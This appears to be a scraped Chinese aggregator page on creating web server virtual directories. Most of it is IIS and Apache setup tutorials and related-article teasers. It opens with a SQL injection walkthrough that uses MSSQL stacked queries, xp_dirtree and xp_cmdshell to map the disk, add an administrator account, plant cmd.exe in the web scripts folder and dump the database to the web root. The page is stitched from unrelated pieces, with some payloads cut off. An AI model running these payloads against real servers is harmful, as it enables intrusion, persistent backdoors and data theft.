精华内容
下载资源
问答
  • web服务器创建虚拟目录
    2021-08-05 06:56:20

    作者选择100电脑网推荐配置

    了解最佳配置看首页

    找到WEB虚拟目录有两种方法,

    一是根据经验,一般来说,WEB虚拟目录是:c(可以使D/E/F等):\inetpub\wwwroot;等,而可执行虚拟目录是:c(可以使D/E/F等):\inetpub\scripts; 等。

    二是原始的办法,一步步寻找系统的目录结构,分析结果并发现WEB虚拟目录;

    先创建一个临时表:temp

    HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n … mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

    接下来:

    (1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中:

    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp … ter.dbo.xp_availablemedia;–

    我们可以通过查询temp的内容来获得驱动器列表及相关信息

    (2)利用xp_subdirs获得子目录列表,并存入temp表中:

    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i … dbo.xp_subdirs ‘c:\’;–

    (3)利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中:

    HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:\’;–

    需要注意的是:

    1、上面的步骤每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:

    HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;–

    2、浏览TEMP表的方法是:(假设TestDB是当前连接的数据库名)

    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& … nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一条记录id字段的值,并与整数进行比较,显然abc.asp工作异常,但在异常中却可以发现id字段的值。假设发现的表名是xyz,则

    HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from … ere id not in(‘xyz’))>0 得到表TEMP中第二条记录id字段的值。

    知道WEB虚拟目录后我们就能用具有SR权限的帐号控制整个服务器,并且master.dbo.xp_cmdshell扩展存储过程(调用此存储过程可以直接使用操作系统的shell)能够正确执行。

    1、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”– (master是SQL-SERVER的主数据库;名中的分号表示SQL-SERVER执行完分号前的语句名,继续执行其后面的语句;“—”号是注解,表示其后面的所有内容仅为注释,系统并不执行)可以直接增加操作系统帐户aaa,密码为bbb。

    2、HTTP://xxx.xxx.xxx/abc.asp?p=YY … me()>0 abc.asp执行异常但可以得到当前连接的数据库名。

    3、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb … er>0 abc.asp执行异常但可以得到当前连接数据库的用户名(若显示dbo则代表SA)。

    4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”– 把刚刚增加的帐户aaa加到administrators组中。

    5、通过复制CMD创建UNICODE漏洞HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe … dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一个UNICODE漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道WEB虚拟目录)。

    6、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 数据库名 to disk=’c:\inetpub\wwwroot\save.db’ 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。

    更多相关内容
  • 另一种方式就是创建虚拟目录,虚拟目录既可以是本地磁盘中的任何一个目录,也可以是网络中其他计算机中的目录。相对而言,创建子目录的方式更安全高效。 虚拟目录需要在主目录的基础上进行创建,创建步骤如下所述: ...
  • 为了便于对网站资源进行灵活管理,还可以把一些文件存放在本地除DucumentRoot之外的目录,然后再把这些目录的文件另起别名进行映射,这个目录成为“虚拟目录”。 每个虚拟目录都有一个别名,这样用户就可以通过...

    虚拟目录:
    为了便于对网站资源进行灵活管理,还可以把一些文件存放在本地除DucumentRoot之外的目录下,然后再把这些目录下的文件另起别名进行映射,这个目录称为“虚拟目录”。
    #别名的“/”指的是网站根目录,不是系统的根目录。
    每个虚拟目录都有一个别名,这样用户就可以通过这个虚拟目录的别名来访问与之对应的真实文件的资源。虚拟目录的好处是在不需要改变别名的情况下,可以随时改变其对应的真实目录。

    案例:
    搭建一个web服务,实现以下内容:
    1、网站根目录为 /wang/kk
    2、通过别名/k可以访问该网站的虚拟目录/w/kk

    vim /etc/httpd/conf.d/vhost.conf
    在这里插入图片描述
    用户控制:
    通过配置/ect/httpd/conf.d/vhost.conf,可实现访问某指定用户的主页功能。
    配置:
    1、开启个人用户主页功能
    #vim /etc/httpd/conf.d/userdir.conf 修改以下两行
    ——#UserDir disabled 添加#,注释掉
    ——UserDir public_html

    2、用户主目录权限
    ——创建用户并设置密码
    ——#useradd xixi
    ——#echo 1234 | passwd --stdin xixi
    ——#mkdir /home/xixi/public_html
    ——#echo 这里是个人主页 > /home/xixi/public_html/index.html
    注意:此时index.html该文件权限中其他用户权限只有可读权限,而所有访问该文件的用户都是以Apache的身份来访问,所以设置该文件其他用户权限为可执行:
    ——chmod 711 /home/xixi
    3、重启服务并测试
    在这里插入图片描述
    在这里插入图片描述
    访问要求用户名密码验证:
    案例:
    搭建一个web服务,实现以下内容:
    1、网站根目录为 /wang/kk
    2、通过别名/k可以访问该网站的虚拟目录/w/kk时需要用户名haha密码redhat验证
    1、#vim /etc/httpd/conf.d/vhost.conf
    在这里插入图片描述
    2、在/etc/httpd/file下创建haha用户名和密码
    #htpasswd -c /etc/httpd/file haha (-c表示创建,第一次创建时使用)
    ——输入密码
    #htpasswd /etc/httpd/file maomao
    ——输入密码
    3、重启httpd服务并验证
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • 本文实例讲述了C#创建IIS虚拟目录的方法。分享给大家供大家参考。具体分析如下: DirectoryEntry是.Net给我们的一大礼物,他的名字我们就知道他的功能–目录入口。使用过ADSI的人都知道操作IIS,WinNT这些时,我们还...
  • 以提高Web服务器的可靠性和可用性,新的容错进程架构和其它功能特性可以帮助用户减少不必要的停机时间,并提高应用程序的可用性,当我们在iis6中添加网站来部署网站的时候,要怎么添加配置虚拟目录呢?现在随小编一...

    IIS 6.0经过了广泛的重新设计,以提高Web服务器的可靠性和可用性,新的容错进程架构和其它功能特性可以帮助用户减少不必要的停机时间,并提高应用程序的可用性,当我们在iis6中添加网站来部署网站的时候,要怎么添加配置虚拟目录呢?现在随小编一起来了解一下Win7系统下iis6部署网站时配置虚拟目录的方法吧。

    1、打开iis6,右击已有的网站的名称,在菜单中选择“添加虚拟目录”;

    ef7a3792ff2f2c4ac5535c8b4f795321.png

    2、在“添加虚拟目录”弹出窗口中,可以看到要添加的虚拟目录所在的网站,/表示在根目录下添加,在“别名”处填写虚拟目录的名称,比如“Test2”;

    53d885367877bfa448a8c7f008e4518f.png

    3、点击按钮来浏览一个网站根目录或者网页文件夹,如下图所示,选择了一个网站的根目录,然后分别点击窗口的确定按钮,就把虚拟目录添加成功了;

    5fe226301b76310486ba21b4f97de09c.png

    4、这时在网站根目录下,可以看到刚添加的虚拟目录;

    d7245322bc4b4dc6a9f2202d60fa7c0a.png

    5、但是这个时候还需要配置虚拟目录,如果不配置,直接浏览Test2下的About.aspx页面,就会看到如下图所示的出错信息;

    6b833e62020c1bf105f2e1d33afb6f6c.png

    6、右击Test2,在弹出菜单中选择“转为应用程序”;

    eea41e5a4026eb30a19a57b83cf94687.png

    7、这时弹出提示框,按默认配置就行,点击确定按钮

    c8eb02965ac8b977b0420520a9a3cd65.png

    8、再来看Test2跟之前的图标已经不一样了,因为Test2已经转化为了应用程序;

    88fcabc9ca0288dadda1573ba5a9ffa7.png

    9、这时再来浏览About.aspx页面就正常了。

    349bf76c3235acd4f516807dfb1bd476.png

    关于Win7系统下iis6部署网站时配置虚拟目录的方法就为大家介绍到这边了,有需要的用户可以根据上面详细的图文步骤进行操作吧,希望帮助到你们。

    我要分享到:

    展开全文
  • Windows创建虚拟主机(Web)在创建虚拟主机之前,偶要先讲解一下,远程管理IIS服务器。一、如何实现远程管理IIS服务器,首先要安装远程管理工具(HTML),可通过浏览器远程管理IIS服务器,具体实现如下步骤:依次打开...

    Windows创建虚拟主机(Web)

    在创建虚拟主机之前,偶要先讲解一下,远程管理IIS服务器。

    一、如何实现远程管理IIS服务器,首先要安装远程管理工具(HTML),可通过浏览器远程管理IIS服务器,具体实现如下步骤:

    依次打开【开始】-----【管理工具】---【添加或删除程序】--【添加或删除windows组件】显示windows组件向导,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    点选【应用程序服务器】复选框,单击【祥细信息】显示应用程序服务器子组件,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    点选【Internet信息服务(IIS)】复选框,单击【详细信息】显示IIS子组件如下图:

    a4c26d1e5885305701be709a3d33442f.png

    点选【万维网服务】复选框,单击详细信息:如图:

    a4c26d1e5885305701be709a3d33442f.png

    点选【远程管理(HTML)】单击【确定】开始安装-----

    a4c26d1e5885305701be709a3d33442f.png

    单击【完成】结束安装。

    打开Internet信息服务管理器,在左侧展开【网站】列表,发现多了一个选项{Administration}网站,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    右击该网站选择【属性】

    a4c26d1e5885305701be709a3d33442f.png

    该管理网站的默认TCP端口为8099,SSL端口为8098,可以像设置WEB网站一样设置该网站,为了网站的安全起见,默认情况下会强制用户使用SSL连接,并且不允许匿名访问,先精心测试,由于偶滴虚拟机已经安装了DHCP和DNS服务器,所以设置主机连接到虚拟机,是主机作为客户端,即让主机获取虚拟机DHCP服务器的IP,确保主机和虚拟机在同一个网段,在主机浏览器中输入:https://192.168.7.14:8098;并按ENTER键,显示下图:

    a4c26d1e5885305701be709a3d33442f.png

    输入用户名和密码---点【确定】显示远程管理页面

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    在该管理页面可以对远程站点进行管理。

    二、创建虚拟主机

    在创建一个Web网站是,要根据企业现有的条件,选择不同的虚拟主机技术,如投资的多少,IP地址的多少、网站性能的多少。

    1.使用不同的IP地址架设多个Web网站。

    通过【控制面板】打开【网络连接】窗口,右击【本地连接】在弹出的快菜单中选择【属性】选项。显示下图:

    选中【Internet协议(TCP/IP)】点选【属性】,显示下图;

    a4c26d1e5885305701be709a3d33442f.png

    点选【高级】显示TCP/IP高级设置对话框,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    单击【添加】按钮,将两个IP地址添加到【IP地址】列表框中,如图

    a4c26d1e5885305701be709a3d33442f.png

    完成之后,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    接下来在DNS控制台中,需要使用【新建区域向导】新建两个区域,区域名称分别为google.com和cctv.com,并创建向主机,对应IP地址分别为192.168.7.15/24和192.168.7.16/24,是不同的域名和对应的IP地址相对应,前面偶已经讲过DNS区域的创建和主机记录的创建,这就不在陈述,敬谅!如图;

    a4c26d1e5885305701be709a3d33442f.png

    打开【IIS信息服务管理器】右击【网站】选项,在弹出的快捷菜单中选择【新建】--【网站】选项,如图:

    a4c26d1e5885305701be709a3d33442f.png

    打开【网站创建向导】如图:

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】,显示下图;

    a4c26d1e5885305701be709a3d33442f.png

    输入网站相关描述,单击【下一步】显示IP和端口设置对话框,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    设置此网站IP和端口,单击【下一步】,显示网站目录设置对话框,如下图;

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】,显示网站访问权限对话框,如下图

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】

    a4c26d1e5885305701be709a3d33442f.png

    单击【完成】完成网站创建向导。

    再用同样的方法创建第二个网站,创建之后,右键website2在弹出的快捷菜单中选择属性,如图:

    a4c26d1e5885305701be709a3d33442f.png

    单击【主目录】选项卡,显示下图:

    a4c26d1e5885305701be709a3d33442f.png

    在主目录可以设置该虚拟主机网站的装在点,偶这里设在E:/Website2,单击【确定】

    在对第二个网站进行设置;

    a4c26d1e5885305701be709a3d33442f.png

    查看主目录选项卡,具体设置如下图:

    a4c26d1e5885305701be709a3d33442f.png

    偶这里设置其装在点为E:/website3单击【确定】

    到此为止偶滴网站就创建成功,下面要进行测试,首先在第一个网站装在点E:/website2创建一个小网页default.htm

    a4c26d1e5885305701be709a3d33442f.png

    在第二个虚拟主机的装在点创一个小网页,default.htm

    a4c26d1e5885305701be709a3d33442f.png

    在浏览器中输入网址:http://www.google.com 按Enter键

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    说明测试成功!

    2. 使用不同的端口架设多个Web网站

    偶滴Web服务器原来的网站为www.baidu.com,使用的IP地址为192.168.7.14现在再架设一个网站,IP地址仍使用192.168.7.14,将新建的网站TCP端口设置为:8000,具体创建步骤:

    在IIS服务管理器中右击【网站】选项在弹出的快捷菜单中选【新建】--【网站】

    显示新建网站向导:

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】显示网站描述对话框:

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】显示IP地址和端口设置,具体设置如下图:

    a4c26d1e5885305701be709a3d33442f.png

    单击【下一步】显示网站目录对话框,如图:

    a4c26d1e5885305701be709a3d33442f.png

    输入该网站的目录:E:/website4.单击【下一步】,显示网站访问权限对话框。如图;

    a4c26d1e5885305701be709a3d33442f.png

    再次可设置网站访问权限,单击【下一步】,完成该网站的创建。

    在IIS服务管理器中右击该网站选【属性】,显示下图:

    a4c26d1e5885305701be709a3d33442f.png

    在此可以对网站进行相关设置,如描述、IP地址、TCP端口号,再点选【主目录】选项卡,显示下图:

    a4c26d1e5885305701be709a3d33442f.png

    设置此网站在本地计算机的目录。

    到此为止偶滴网站已经创建成功,在该网站的装载点创建一个简单地网页default.htm:如图:

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    网站测试成功!

    3. 使用不同的主机头名架设多个Web网站。

    使用主机头名创建的域名也称为二级域名,现在,以Web服务器上利用主机头创建web1.baidu.com和web2.baidu.com两个网站为例进行介绍。其IP地址为192.168.7.14.首先为了让用户能够通过Internet找到web1.baidu.com和web2.baidu.com网站的IP地址,需将其IP地址注册到DNS服务器(说明一下,偶的这台虚拟机之前已经安装了DNS服务器),新建两个主机:web1和web2,IP地址都是192.169.7.14,如图:

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    在之前的博客文章中偶已经讲过主机的创建,这里不再多说了啦!如下图:

    a4c26d1e5885305701be709a3d33442f.png

    打开IIS服务管理器,使用“网站创建向导”创建两个网站。当显示“IP地址和端口设置”对话框时,在“此网站主机头”文本框中输入新建网站的域名,如web1.baidu.com和web2.baidu.com,如下图:

    a4c26d1e5885305701be709a3d33442f.png

    设置此网站的主目录E:\web1

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    设置此网站的主目录:E:\web2

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    下面就要进行测试:

    在第一个网站的主目录创建第一个网页:default.htm

    a4c26d1e5885305701be709a3d33442f.png

    在第二个网站的主目录创建第一个网页;default.htm

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    a4c26d1e5885305701be709a3d33442f.png

    测试成功!

    亲们到此为止,windows创建虚拟机已经讲完了啦!大家可以自己回去动手玩玩!

    尊敬的读者,由于时间仓促,难免有不慎,如有问题,请致信:15030516537@163.com

    展开全文
  • 正如咱们所知道的,通过VS启动项目后,Visual Studio会帮助咱们启动内置的"IIS Express"小型的服务器管理程序;消耗资源低,人性化操作,更有利于咱们进行软件的开发和调试。 但是不知道大家有没有发现每次项目启动...
  • 参考: ... C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727...%windir%\system32\inetsrv\appcmd unlock config -section:system.webServer/handlers     转载于:https://www.cnblogs.com/z5337/p/11243784.html
  • Web服务器虚拟目录

    千次阅读 2015-07-24 16:13:07
    刚开始接触Java Web开发。在进行Web应用执行时,可以把应用直接放到Tomcat服务器安装目录下面的webapps文件夹中,就可以直接被外界访问。但是如果将所有的应用如果都...针对这个问题,使用虚拟目录是一个不错的选择。
  • VS中 无法创建虚拟目录

    万次阅读 2016-12-23 22:22:37
    从前就有个疑问了,为什么我拉取别人写好的代码后就可以...原来只需要简单的几步就行了:右击—>属性—>Web—>在服务器选择“本地IIS”—>创建虚拟目录但是,天有不测之风云,TM的给我抛了个错误出来好吧,这东西麻烦了
  • 在IIS上创建虚拟目录

    千次阅读 2020-10-29 09:55:10
    1: 在开始bai菜单中依次单击【管理...2:在打开的“虚拟目录创建向导”中单击【一步】按钮,打开“虚拟目录别名”对话框。然后在【别名】编辑框中输入一个能够反映该虚拟目录用途的名称(假如JinshouzhiBook),并
  • 配置虚拟主机和虚拟目录

    千次阅读 2021-05-10 03:34:52
    如果文件很多,主目录的空间可能会不足,因此需要将上述文件存放在其他分区或其他计算机上,而用户访问时,上述文件夹在逻辑上归属网站之,这种归属网站之的目录称为虚拟目录。可以利用虚拟目录将一个网站的文件...
  • 服务器架构 IIS 配置管理 虚拟目录创建WEB站点!视频演示!
  • 关于微信开发过程,远程调试后,再次打开vs出现项目加载失败的解决办法...第二步:打开编辑的页面,把图这部分直接注释掉 ok了,再加载一次,就好了! 转载于:https://www.cnblogs.com/longbky/p/8513142.html...
  • 从前就有个疑问了,为什么我拉取别人写好的代码后就可以在IIS里面生成一个网站呢? 这里所谓的生成网站,是指包含了所有源代码文件的网站;相对地,发布网站,就是指包含被编译的...创建虚拟目录 但是,天有不...
  • web项目中使用DirectoryEntry类和ServerManager类创建IIS网站下创建虚拟目录网站 需要解决的问题 1、根据名称获取iis站点id 2、判断是否存在 3、不存在,则该站点下创建应用程序 3、配置路径、名子,转为应用...
  • Web服务器虚拟目录

    千次阅读 2015-05-29 13:10:00
    今天我们继续来说说与Web服务器有关的,今天给大家介绍的是关于虚拟目录和https,大家在访问网站的时候一定会遇到这种情况,就是在网址后面还有一个/加文件夹名(例:http:www.zc1.com/game),这种情况就是说,你...
  • 怎么解决啊,创建项目也报错,说配置 IIS Express 失败,未能找到web服务器。怎么解决啊,弄啦好久,
  • Web服务器上运行的 Web资源都是以 Web应用形式呈现的,所谓 Web应用就是多个Web资源的集合,Web应用通常也称为Web应用程序或 Web工程。一个 Web应用由多个Web资源或其他文件组成,其中包括 html文件,css文件、js...
  • 将指定的域名绑定到指定的服务器目录上面,这就是web服务器虚拟主机功能。绑定之后,打开域名就会访问服务器上指定的目录。此处用Nginx做例子说明。1、进入nginx的conf.d目录cd /etc/nginx/conf.d用ls命令查看目录...
  • 在ASP.NET技术采用了真正面向对象的编程技术,每一个Web应用程序是运行在一个独特的.NET运行时应用域中,这个特性保证了类隔离、安全盒和静态太变量的隔离。...因此,虚拟目录技术就因此而显得尤为重要。
  • 所说的虚拟主机就是在一台服务器里运作几个网站,提供WEB、Mail、FTP等服务。那么在搭建wed服务器的同时,那么如何在wed服务器搭建虚拟主机呢?wed服务器分为几个步骤来解说:1.通过“开始”→“程序”→“管理工具...
  • 1、新打开的网站项目加载失败,报创建虚拟目录失败; 创建虚拟目录 http://localhost:820/ 失败,错误: 无法创建网站“http://localhost:820/”。您必须在管理员帐户的上下文中运行 Visual Studio,以创建端口小于 ...
  • tomcat 创建虚拟目录(文件服务器)

    千次阅读 2017-03-10 14:10:53
    tomcat 创建虚拟目录(文件服务器)
  • 应用服务器的搭建--创建Web服务器
  • 配置WEB站点的虚拟目录,

    千次阅读 2013-11-03 19:52:27
    (1)首先要在这台计算机上安装和启动一个web服务器软件(Apach,Tomcat.......) (2)其次还要将该目录映射成一个web站点目录。这个web站点目录通常称为虚拟目录。 (3)一个web站点上只能有一个虚拟目录的根目录,...
  • (1)在一台web服务器中,通过访问虚拟目录就可以很方便的访问到其它路径的目录,便于我们的管理和访问。 (2)实现服务器磁盘空间的扩展:虚拟目录可以与原有网站不在同一个文件夹,不在同...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 162,575
精华内容 65,030
关键字:

web服务器创建虚拟目录